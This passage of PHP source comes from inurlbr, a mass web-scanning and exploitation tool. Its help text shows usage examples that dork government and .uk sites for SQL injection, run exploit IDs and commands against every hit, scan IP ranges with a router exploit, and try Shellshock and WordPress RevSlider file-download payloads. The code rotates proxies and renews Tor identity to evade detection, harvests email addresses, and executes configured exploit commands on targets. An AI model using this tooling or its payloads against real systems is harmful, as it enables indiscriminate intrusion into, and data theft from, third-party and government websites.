{$_SESSION["c2"]}govs.txt {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]} 1,2,6 {$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.uk' {$_SESSION["c1"]}-s {$_SESSION["c2"]}uk.txt {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]} 'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)' {$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorksSqli.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}govs.txt {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]} 1,2,6 {$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorksSqli.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}sqli.txt {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]} 1,2,6 {$_SESSION["c1"]}--irc {$_SESSION["c2"]}'irc.rizon.net#inurlbrasil' {$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:\"cgi-bin/login.cgi\"' {$_SESSION["c1"]}-s {$_SESSION["c2"]}cgi.txt --ifurl 'cgi' --command-all 'php xplCGI.php _TARGET_' {$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}4{$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}4{$_SESSION["c0"]} {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\"{$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}4{$_SESSION["c0"]} {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?pass=1234\" {$_SESSION["c1"]}-a {$_SESSION["c2"]}'hello! admin'{$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find_valid_cod-200.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}5{$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--range {$_SESSION["c2"]}'200.20.10.1,200.20.10.255' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'php roteador.php _TARGETIP_' {$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--range-rad {$_SESSION["c2"]}'1500' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'php roteador.php _TARGETIP_' {$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork-rad {$_SESSION["c2"]}'20' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}\"?´'%270x27;\" {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8 {$_SESSION["c0"]} - -./inurlbr.php {$_SESSION["c1"]}--dork-rad {$_SESSION["c2"]}'20' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}\"?´'%270x27;\" {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8 {$_SESSION["c0"]} --pr - -./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorksCGI.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8 {$_SESSION["c0"]} --pr --shellshock - -./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorks_Wordpress_revslider.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8 {$_SESSION["c1"]}--sub-file {$_SESSION["c2"]}'xpls_Arbitrary_File_Download.txt' {$_SESSION["c0"]} - {$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]} - - {$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}It it also useful to know the full path to the PHP binary on your computer. {$_SESSION["c0"]} - {$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}There are several ways of finding out. For Ubuntu and Mac OS X the path is '/usr/bin/php'.{$_SESSION["c0"]} - - googleinurl@inurlbr:~$ which php - /usr/bin/php - googleinurl@inurlbr:~/cli$ whereis php - php: /usr/bin/php /usr/share/php /usr/share/man/man1/php.1.gz - googleinurl@inurlbr:~/cli$ type -a php - php is /usr/bin/php - -{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]} - - -"); -} - -################################################################################ -#BANNER HOME#################################################################### - -function __bannerLogo() { - - $vis = ($_SESSION["os"] != 1) ? ("\033[1;3" . rand(1, 10) . "m") : NULL; - - return (!is_null($_SESSION['config']['no-banner']) ? NULL : " -{$vis} _____ {$_SESSION["c1"]} .701F. .iBR. .7CL. .70BR. .7BR. .7BR'''Cq. .70BR. {$_SESSION["c12"]}.1BR'''Yp, .8BR'''Cq. -{$vis} (_____){$_SESSION["c1"]} 01 01N. C 01 C 01 .01. 01 {$_SESSION["c3"]} 01 Yb 01 .01. -{$vis} (() ()){$_SESSION["c1"]} 01 C YCb C 01 C 01 ,C9 01 {$_SESSION["c12"]} 01 dP 01 ,C9 -{$vis} \ / {$_SESSION["c1"]} 01 C .CN. C 01 C 0101dC9 01 {$_SESSION["c3"]} 01'''bg. 0101dC9 -{$vis} \ / {$_SESSION["c1"]} 01 C .01.C 01 C 01 YC. 01 , {$_SESSION["c12"]} 01 .Y 01 YC. -{$vis} /=\ {$_SESSION["c1"]} 01 C Y01 YC. ,C 01 .Cb. 01 ,C {$_SESSION["c3"]} 01 ,9 01 .Cb. -{$vis} [___] {$_SESSION["c1"]} .J01L. .JCL. YC .b0101d'. .J01L. .J01. .J01010101C {$_SESSION["c12"]}.J0101Cd9 .J01L. .J01./ {$_SESSION["c1"]}2.1\n -{$_SESSION["c1"]}__[ ! ] Neither war between hackers, nor peace for the system. -{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://blog.inurl.com.br -{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://fb.com/InurlBrasil -{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://twitter.com/@googleinurl{$_SESSION["c0"]} -{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://github.com/googleinurl{$_SESSION["c0"]} -{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current PHP version::[ {$_SESSION["c1"]}" . phpversion() . " {$_SESSION["c16"]}]{$_SESSION["c0"]} -{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current script owner::[ {$_SESSION["c1"]}" . get_current_user() . " {$_SESSION["c16"]}]{$_SESSION["c0"]} -{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current uname::[ {$_SESSION["c1"]}" . php_uname() . " {$_SESSION["c16"]}]{$_SESSION["c0"]} -{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current pwd::[ {$_SESSION["c1"]}" . getcwd() . " {$_SESSION["c16"]}]{$_SESSION["c0"]} -{$_SESSION["c1"]}__[ ! ] {$_SESSION["c2"]}Help: php inurlbr.php --help{$_SESSION["c0"]} -{$_SESSION["c1"]}------------------------------------------------------------------------------------------------------------------------{$_SESSION["c0"]} -"); -} - -################################################################################ -#CHANGE PROXY FUNCTION IN TIME################################################## -################################################################################ - -function __timeValueChangeProxy($sec = NULL) { - - return not_isnull_empty($sec) ? date('Y-m-d H:i:s', strtotime(date('Y-m-d H:i:s') . " + {$sec} second")) : NULL; -} - -function __timeSecChangeProxy($list_proxy) { - - if ($_SESSION["config"]["time_change_proxy"] < date('Y-m-d H:i:s') && !is_null($list_proxy)) { - $proxy = $list_proxy[rand(0, count($list_proxy) - 1)]; - echo ("[ INFO ][PROXY] CHANGE: {$proxy} - " . date('Y-m-d H:i:s') . "\n"); - $_SESSION["config"]["proxy"] = $proxy; - $_SESSION["config"]["time_change_proxy"] = __timeValueChangeProxy($_SESSION["config"]["time-proxy"]); - __plus(); - } -} - -################################################################################ -#GET STATUS HTTP URL############################################################ -################################################################################ - -function __getStatusURL($url) { - - if (!is_null($url) && !empty($url)) { - return FALSE; - } - __plus(); - $status = array(); - $curl = curl_init($url); - curl_setopt($curl, CURLOPT_URL, $url); - $resultadoCurl = curl_exec($curl); - if ($resultadoCurl) { - preg_match_all('(HTTP.*)', $resultadoCurl, $status['http']) . __plus(); - - return (!is_null($status['http']) && !empty($status['http'])) ? TRUE : FALSE; - } - unset($curl); - return FALSE; -} - -################################################################################ -#BEEP ########################################################################## -################################################################################ - -function __cli_beep() { - - echo ($_SESSION['config']['beep']) ? "\x07" : NULL; -} - -################################################################################ -#SETUP TO RUN COMMANDS IN ID#################################################### -################################################################################ - -function __configExploitsExec($id, $alvo) { - - $resultadoURL = __configExploitsList(); - $final = array(); - $id_ = ((strstr($id, ','))) ? explode(',', $id) : array($id); // MULTIPLAS ID'S EXPLOITS - - foreach ($resultadoURL as $key) { - $__key = strstr($key, '::') ? explode("\n", $key) : NULL; - $final = is_array($__key) ? array_merge($final, $__key) : $final; - } - foreach ($id_ as $value) { - $final__ = isset($value) && !empty($value) ? explode('::', $final[$value]) : NULL; - $barra = "{$_SESSION["c1"]}[ INFO ]|___{$_SESSION["c0"]}\n"; - $barra.= " {$_SESSION["c1"]}|"; - print !is_null($final__) ? "\n{$barra}[ EXPLOIT ]:: {$final__[0]} /[ ID ]:: {$value} /[ COMMAND ]:: " . $final__[1] : NULL; - echo "\n ------------------------------------------------------------------------------------------------------------------"; - print !is_null($final__) ? __command($final__[1], $alvo) : NULL; - __plus(); - } -} - -################################################################################ -#LIST COMMANDS FILE exploits.conf############################################### -################################################################################ - -function __configExploitsList($op = NULL) { - - $resultadoURL = array_unique(array_filter(explode("\n", file_get_contents($_SESSION['config']['file_exploit_conf'])))); - - if (!is_null($op)) { - echo __bannerlogo(); - echo $_SESSION["c11"]; - echo "[*]__\n"; - echo " |MENU EXPLOITS:"; - echo "\n |ID TYPE_EXPLOIT::EXPLOIT_COMMAND"; - echo "\n |FILE CONFIG: {$_SESSION['config']['file_exploit_conf']}"; - echo "\n |USE COMMAND EX: --exploit-id '1,2,3,19'"; - echo "\n-----------------------------------------------------------------------------------------------------------------------\n"; - print_r($resultadoURL); - __getOut("{$_SESSION['config']['line']}\n"); - } else { - return is_array($resultadoURL) ? $resultadoURL : NULL; - } -} - -################################################################################ -#INSERT VALUES COMMANDS FILE exploits.conf###################################### -################################################################################ - -function __configExploitsADD($valor = NULL) { - - if (!is_null($valor) && preg_match("(([a-zA-Z0-9-].*)(::.*)([a-zA-Z0-9-]))", $valor)) { - echo __bannerlogo(); - echo $_SESSION["c11"]; - echo "[*]__\n"; - echo " |MENU EXPLOITS:"; - echo "\n |ID TYPE_EXPLOIT::EXPLOIT_COMMAND"; - echo "\n |STATUS: ADDED VALUE WITH SUCCESS!"; - echo "\n |VALUE: {$valor}"; - echo "\n-----------------------------------------------------------------------------------------------------------------------\n"; - __saveValue($_SESSION['config']['file_exploit_conf'], __crypt($valor), 2); - print_r(__configExploitsList()); - __getOut("{$_SESSION['config']['line']}\n"); - } else { - - __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}INCORRECT FORMAT! / Format TYPE_EXPLOIT::EXPLOIT_COMMAND / ex: NMAP::nmap -sV _TARGET_\n"); - } -} - -################################################################################ -#CHECK CMS###################################################################### -################################################################################ - -function __SimpleCheckCMS($html) { - - $cms['XOOPS CMS IDENTIFIED'] = ' $valor) { - - __plus(); - if (strstr($html, $cms[$campo])) { - return(" {$campo} "); - } - } - return "0xUNIDENTIFIED"; -} - -################################################################################ -#REPLACE THE SECURITIES URL##################################################### -################################################################################ - -function __replace($exploit, $url) { - - $exploit_ = strstr($_SESSION['config']['replace'], '[INURL]') ? - $exploit : - __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}DEFINE THE CORRECT REPLACE COMMAND ex: --replace 'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]}\n"); - $exploit = explode("[INURL]", $exploit_); - $exploit[0] = (isset($exploit[0]) && !is_null($exploit[0])) ? - $exploit[0] : - __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}DEFINE THE CORRECT REPLACE COMMAND ex: --replace 'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]}\n"); - $exploit[1] = (isset($exploit[0]) && !is_null($exploit[1])) ? - $exploit[1] : - __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}DEFINE THE CORRECT REPLACE COMMAND ex: --replace 'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]}\n"); - return str_replace($exploit[0], $exploit[1], $url); -} - -################################################################################ -#REMOVE VALUE URL############################################################### -################################################################################ - -function __remove($value, $url) { - - return str_replace($value, NULL, $url); -} - -################################################################################ -#VALID MENU OPTIONS############################################################# -################################################################################ - -function __validateOptions($opArray, $validar, $op = NULL) { - - if (empty($validar) || empty($opArray)) { - return FALSE; - } - - $array = explode(',', $opArray); - if (is_null($op)) { - $busca = explode(',', $validar); - for ($i = 0; $i <= count($busca); $i++) { - if (in_array($busca[$i], $array)) { - return TRUE; - } - } - } else { - for ($i = 0; $i <= count($array); $i++) { - if (strstr($validar, $array[$i])) { - return TRUE; - } - } - } - return FALSE; -} - -################################################################################ -#VALIDATE OPERATING SYSTEM AND COLOR SYSTEM##################################### -################################################################################ - -function __OS() { - - $sistema = strtoupper(PHP_OS); - if (substr($sistema, 0, 3) == "WIN") { - $i = 0; - //system("cls"); - $_SESSION["os"] = 1; - while ($i <= 17) { - $_SESSION["c{$i}"] = NULL; - $i++; - } - } else { - //system("command clear"); - //DEFINING COLORS - $_SESSION["c0"] = "\033[0m"; // END OF COLOR - $_SESSION["c1"] = "\033[1;37m"; // WHITE - $_SESSION["c2"] = "\033[1;33m"; // YELLOW - $_SESSION["c3"] = "\033[1;31m"; // RED LIGHT - $_SESSION["c4"] = "\033[32m"; // GREEN - $_SESSION["c5"] = "\033[1;32m"; // GREEN LIGHT - $_SESSION["c6"] = "\033[0;35m"; // PURPLE - $_SESSION["c7"] = "\033[1;30m"; // DARK GREY - $_SESSION["c8"] = "\033[0;34m"; // BLUE - $_SESSION["c9"] = "\033[0;37m"; // LIGHT GREY - $_SESSION["c10"] = "\033[0;33m"; // BROWN - $_SESSION["c11"] = "\033[1;35m"; // LIGHT PURPLE - $_SESSION["c12"] = "\033[0;31m"; // RED - $_SESSION["c13"] = "\033[1;36m"; // LIGHT CYAN - $_SESSION["c14"] = "\033[0;36m"; // CIANO - $_SESSION["c15"] = "\033[1;34m"; // LIGHT BLUE - $_SESSION["c16"] = "\033[02;31m"; // DARK RED - } -} - -################################################################################ -#SAVE URL VULNERABLE COMMAND ECHO >> FILE###################################### -################################################################################ - -function __saveValue($arquivo, $valor, $op = NULL) { - - $path = !not_isnull_empty($_SESSION['config']['save-as']) ? $_SESSION['config']['out_put_paste'] : NULL; - echo ($op == 1) ? - "\n{$_SESSION["c1"]}|_[ + ]{$_SESSION["c7"]} VALUE SAVED IN THE FILE::{$_SESSION["c9"]} {$arquivo}{$_SESSION["c0"]}" : NULL; - file_put_contents(($op == 2) ? $arquivo : $path . $arquivo, "{$valor}\n", FILE_APPEND); -} - -################################################################################ -#CAPTURE ID KEY TO SEARCH LYCOS MAKE############################################ -################################################################################ - -function __getIdSearchLycos($html) { - - $match = NULL; - preg_match_all("(val.*)", $html, $match); - return (str_replace(');', '', str_replace('val(', '', str_replace("'", '', $match[0][4])))); -} - -################################################################################ -#RENEW IP NETWORK TOR########################################################### -################################################################################ - -function __renewTOR() { - - system("[ -z 'pidof tor' ] || pidof tor | xargs sudo kill -HUP;"); - $request__ = __request_info('http://dynupdate.no-ip.com/ip.php', $_SESSION["config"]["proxy"]); - __plus(); - echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ IP NETWORK TOR RENEWED ]::: {$_SESSION["c1"]}[ {$request__['corpo'] } ]\n{$_SESSION["c0"]}"; - /* https://pt.wikipedia.org/wiki/Pidof - * pidof é um utilitário Linux que encontra o ID de um programa em execução. - * Note que o próprio nome é a junção dos termos pid, que significa identidade - * de um processo e of que significa de. Portanto pidof quer dizer identidade - * de processo de... - * O equivalente no Solaris é pgrep. pidof firefox-bin O commando acima retorna - * o pid do processo que está executando firefox-bin. - * Pode-se combinar o commando 'pidof' com o commando kill dessa forma: - * kill -9 $(pidof firefox-bin) pidof é simplesmente uma ligação simbólica - * para o programa killall5,que está localizado em /sbin. - */ -} - -################################################################################ -#This function will validate emails############################################# -################################################################################ - -function __validateEmail($email) { - - $conta = "^[a-zA-Z0-9\._-]+@"; - $domino = "[a-zA-Z0-9\._-]+."; - $extensao = "([a-zA-Z]{2,4})$"; - - $pattern = $conta . $domino . $extensao; - - return (ereg($pattern, $email)) ? TRUE : FALSE; -} - -################################################################################ -#This function will validate URLS############################################### -################################################################################ - -function __validateURL($url) { - - if (preg_match("#\b(http[s]?://|ftp[s]?://){1,}?([-a-zA-Z0-9\.]+)([-a-zA-Z0-9\.]){1,}([-a-zA-Z0-9_\.\#\@\:%_/\?\=\~\-\//\!\'\(\)\s\^\:blank:\:punct:\:xdigit:\:space:\$]+)#si", $url)) { - return TRUE; - } else { - return FALSE; - } -} - -################################################################################ -#This function will filter custom values######################################## -################################################################################ - -function __extractRegCustom($html, $url_) { - - $matches = NULL; - __plus(); - preg_match_all("#\b{$_SESSION['config']['regexp-filter']}#i", $html, $matches); - - echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n"; - echo "{$_SESSION["c1"]} |_[ URL ] {$_SESSION["c0"]}=>{$_SESSION["c9"]} {$url_} {$_SESSION["c0"]}\n"; - - $matches_ = array_filter(array_unique(array_unique($matches[0]))); - foreach ($matches_ as $valor) { - - if (not_isnull_empty($valor)) { - - echo "{$_SESSION["c1"]}__[ + ] {$_SESSION["c0"]}[\033[01;31m {$_SESSION['config']['cont_valores']} {$_SESSION["c0"]}]- {$valor}\n"; - $_SESSION["config"]["resultado_valores"].="{$valor}\n"; - __plus(); - __saveValue($_SESSION["config"]["arquivo_output"], $valor); - $_SESSION['config']['cont_valores'] ++; - } - __plus(); - } - __timeSec('delay', "\n"); -} - -################################################################################ -#This function will filter and mail each url#################################### -################################################################################ - -function __filterEmailif($resultados) { - - if (is_array($resultados)) { - echo "{$_SESSION["c1"]}|_[ ! ][ INFO ]{$_SESSION["c16"]}[ FILTERING VALUE ]::{$_SESSION["c1"]}[ {$_SESSION["config"]['ifemail']} ]{$_SESSION["c0"]}\n"; - foreach ($resultados as $value) { - - $temp[] = (strstr($value, $_SESSION['config']['ifemail']) ? $value : NULL); - } - - return array_unique(array_filter($temp)); - } - - RETURN FALSE; -} - -################################################################################ -#This function extract emails################################################### -################################################################################ - -function __extractEmail($html, $url_) { - - $matches = NULL; - __plus(); - preg_match_all('/([\w\d\.\-\_]+)@([\w\d\.\_\-]+)/mi', $html, $matches); - echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n"; - echo "{$_SESSION["c1"]}|_[ ! ][ INFO ][URL] :: {$_SESSION["c9"]} {$url_} {$_SESSION["c0"]}\n"; - - $_matches = array_filter(array_unique(array_unique($matches[0]))); - $matches_ = (not_isnull_empty($_SESSION['config']['ifemail']) ? __filterEmailif($_matches) : $_matches); - - foreach ($matches_ as $valor) { - - if (__validateEmail($valor)) { - - echo "{$_SESSION["c1"]}|_[ + ]{$_SESSION["c0"]}[\033[01;31m {$_SESSION['config']['cont_valores']} {$_SESSION["c0"]}]- {$valor} " - . (filter_var($valor, FILTER_VALIDATE_EMAIL) ? - "{$_SESSION["c14"]}[ OK ]{$_SESSION["c0"]}" : "{$_SESSION["c16"]}[ NO ]{$_SESSION["c0"]}") . "\n"; - (filter_var($valor, FILTER_VALIDATE_EMAIL) ? $_SESSION["config"]["resultado_valores"].="{$valor}\n" : NULL); - __plus(); - (filter_var($valor, FILTER_VALIDATE_EMAIL) ? __saveValue($_SESSION["config"]["arquivo_output"], $valor) : NULL); - - $_SESSION['config']['cont_valores'] ++; - } - __plus(); - } - __timeSec('delay', "\n"); -} - -################################################################################ -#This function will filter urls each url######################################## -################################################################################ - -function __extractURLs($html, $url_) { - - $matches = NULL; - __plus(); - $reg_tag = 'href=\"|src=\"|value=\"'; - $reg = "#\b({$reg_tag}http[s]?://|{$reg_tag}ftp[s]?://){1,}?([-a-zA-Z0-9\.]+)([-a-zA-Z0-9\.]){1,}([-a-zA-Z0-9_\.\#\@\:%_/\?\=\~\-\//\!\'\(\)\s\^\:blank:\:punct:\:xdigit:\:space:\$]+)#si"; - preg_match_all($reg, $html, $matches); - echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n"; - echo "{$_SESSION["c1"]} |_[ INFO ][URL] {$_SESSION["c0"]}=>{$_SESSION["c9"]} {$url_} {$_SESSION["c0"]}\n"; - echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n"; - $matches_ = array_unique(array_filter($matches[0])); - $blacklist = $_SESSION["config"]['blacklist']; - $blacklist_ = (isset($_SESSION["config"]["webcache"])) ? str_replace('webcache.,', '', $blacklist) : $blacklist; - - foreach ($matches_ as $valor) { - - $valor = __filterURLTAG($valor); - if (__validateURL($valor) && !__validateOptions($blacklist_, $valor, 1)) { - echo "{$_SESSION["c1"]}__[ + ]{$_SESSION["c0"]}[\033[01;31m {$_SESSION["config"]['cont_url']}" - . " {$_SESSION["c9"]}]- {$valor}{$_SESSION["c0"]}\n"; - $_SESSION["config"]["resultado_valores"].="{$valor}\n"; - __plus(); - __saveValue($_SESSION["config"]["arquivo_output"], $valor) . __plus(); - $_SESSION["config"]["cont_url"] ++; - } - __plus(); - } - __timeSec('delay', "\n"); -} - -################################################################################ -#This function removes the last regular expression ta########################### -################################################################################ - -function __filterURLTAG($valor = NULL) { - - return(!is_null($valor)) ? str_replace('"', '', str_replace('href="', '', str_replace('src="', '', str_replace('value="', '', $valor)))) : NULL; -} - -################################################################################ -#Esta função irá formatar salvar urls concatenadas############################## -################################################################################ - -function __checkURLs($resultado, $url_) { - - __plus(); - $code = !is_null($_SESSION["config"]["ifcode"]) ? $_SESSION["config"]["ifcode"] : 200; - $valor = ($resultado['server']['http_code'] == $code) ? "{$_SESSION["c4"]}" : NULL; - - echo "\n{$_SESSION["c1"]} |_[ INFO ]{$_SESSION["c0"]}[{$_SESSION["c1"]} {$_SESSION['config']['cont_valores']} {$_SESSION["c0"]}]\n"; - echo "{$_SESSION["c1"]} |_[ INFO ][URL] {$_SESSION["c0"]}::{$_SESSION["c9"]}{$valor} {$url_} {$_SESSION["c0"]}\n"; - echo "{$_SESSION["c1"]} |_[ INFO ][STATUS]::{$valor} {$resultado['server']['http_code']} {$_SESSION["c0"]}\n"; - - __timeSec('delay'); - echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}"; - __plus(); - - $target_ = array('url_clean' => $url_, 'url_xpl' => $url_); - - if ($resultado == $code) { - - $_SESSION['config']['resultado_valores'].= "{$url_}\n"; - __saveValue($_SESSION["config"]["arquivo_output"], $url_) . __plus(); - __plus(); - - (not_isnull_empty($_SESSION['config']['sub-file']) && - is_array($_SESSION['config']['sub-file']) ? __subExecExploits($target_['url_xpl'], $_SESSION['config']['sub-file']) : NULL); - __plus(); - - (not_isnull_empty($_SESSION['config']['command-vul']) ? __command($_SESSION['config']['command-vul'], $target_) : NULL); - __plus(); - - (not_isnull_empty($_SESSION['config']['exploit-vul-id']) ? - __configExploitsExec($_SESSION['config']['exploit-vul-id'], $target_) : NULL); - __plus(); - } - - (not_isnull_empty($_SESSION['config']['exploit-all-id']) ? __configExploitsExec($_SESSION['config']['exploit-all-id'], $target_) : NULL); - __plus(); - - (not_isnull_empty($_SESSION['config']['command-all']) ? __command($_SESSION['config']['command-all'], $target_) : NULL); - __plus(); - - $_SESSION['config']['cont_valores'] ++; - - __plus(); -} - -################################################################################ -#This function will send the contents of the output buffer (if any)############# -################################################################################ - -function __plus() { - - ob_flush(); - flush(); -} - -################################################################################ -#FORMATTING POST################################################################ -################################################################################ - -function __convertUrlQuery($query) { - - $queryParts = explode('&', $query); - $params = array(); - $match = array(); - foreach ($queryParts as $param) { - $item = explode('=', $param); - preg_match_all("([a-zA-Z0-9]=(.*))", $param, $match); - $params[$item[0]] = ($match[1][0]); - } - - return $params; -} - -################################################################################ -#OPEN FILE BASE FOR VALIDATION################################################## -################################################################################ - -function __openFile($arquivo, $op = NULL) { - - if (isset($arquivo) && !empty($arquivo)) { - $resultadoURL = array_unique(array_filter(explode("\n", file_get_contents($arquivo)))); - - if (is_array($resultadoURL)) { - - return ($op == 1 ? $resultadoURL : __process($resultadoURL)); - } - } -} - -################################################################################ -#CATCH INFORMATION IP########################################################### -################################################################################ - -function __infoIP($ip, $op = 0) { - - /* - [longitude] => 4.9 - [latitude] => 52.3667 - [asn] => AS196752 - [offset] => 2 - [ip] => 46.19.37.0 - [area_code] => 0 - [continent_code] => EU - [dma_code] => 0 - [timezone] => Europe/Amsterdam - [country_code] => NL - [isp] => Tilaa B.V. - [country] => Netherlands - [country_code3] => NLD - */ - - preg_match_all('#\b(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})#si', $ip, $ip); - if (filter_var($ip[0][0], FILTER_VALIDATE_IP)) { - if ($op == 0) { - $request__ = __request_info("http://www.telize.com/geoip/{$ip[0][0]}", $_SESSION["config"]["proxy"], NULL); - __plus(); - return json_decode($request__['corpo'], TRUE); - } else { - $_SESSION['config']['verifica_info'] = NULL; - $request__ = __request_info("http://www.telize.com/geoip/{$ip[0][0]}", $_SESSION["config"]["proxy"], NULL); - $return = json_decode($request__['corpo'], TRUE); - __plus(); - return "{$return['city']} /{$return['country']} - {$return['country_code']} /{$return['continent_code']} , ISP: {$return['isp']}"; - } - } -} - -################################################################################ -#CAPTURE URL POSITION IN BROWSER ALEXA / RELEVANCE OF SUCH URL################## -################################################################################ - -function __positionAlexa($url) { - - $xmlSimple = simplexml_load_file("http://data.alexa.com/data?cli=10&dat=snbamz&url={$url}"); - $resultRank = $xmlSimple->SD[1]; - __plus(); - if ($resultRank) { - $retornoRank = $resultRank->REACH->attributes()->RANK; - } else { - $retornoRank = 0; - } - return $retornoRank . __plus(); -} - -################################################################################ -#GENERATE URL REFERENCE random################################################## -################################################################################ - -function __setURLReferenceRandom() { - - $dominio = array('Adzuna', 'Bixee', 'CareerBuilder', 'Craigslist', 'Dice', 'Eluta.ca', 'Hotjobs', 'JobStreet', 'Incruit', 'Indeed', 'Glassdoor', 'LinkUp', 'Monster', 'Naukri', - 'Yahoo', 'Legal', 'GoogleScholar', 'Lexis', 'Manupatra', 'Quicklaw', 'WestLaw', 'Medical', 'Bing Health', 'Bioinformatic', 'CiteAb', 'EB-eye', 'Entrez', 'mtv', 'ubuntu', - 'GenieKnows', 'GoPubMed', 'Healia', 'Healthline', 'Nextbio', 'PubGene', 'Quertle', 'Searchmedica', 'WebMD', 'News', 'BingNews', 'Daylife', 'GoogleNews', 'aol', 'microsoft', - 'MagPortal', 'Newslookup', 'Nexis', 'Topix', 'Trapit', 'YahooNews', 'People', 'Comfibook', 'Ex.plode', 'InfoSpace', 'PeekYou', 'Spock', 'Spokeo', 'WorldwideHelpers', 'iPhone', - 'Zabasearch', 'ZoomInfo', 'Fizber', 'HotPads', 'Realtor', 'Redfin', 'Rightmove', 'Trulia', 'Zillow', 'Zoopla', 'StuRents', 'globo', 'sbt', 'band', 'cnn', 'blog.inurl.com.br' - ); - - $gTLD = array('aero', 'arpa', 'biz', 'com', 'coop', 'edu', 'gov', 'info', 'int', 'mil', 'museum', 'name', 'net', 'org', 'pro', 'tel'); - - $arquivo = array('admin', 'index', 'wp-admin', 'info', 'shop', 'file', 'out', 'open', 'news', 'add', 'profile', 'search', 'open', 'photo', 'insert', 'view'); - $ext = array('exe', 'php', 'asp', 'aspx', 'jsf', 'html', 'htm', 'lua', 'log', 'cgi', 'sh', 'css', 'py', 'sql', 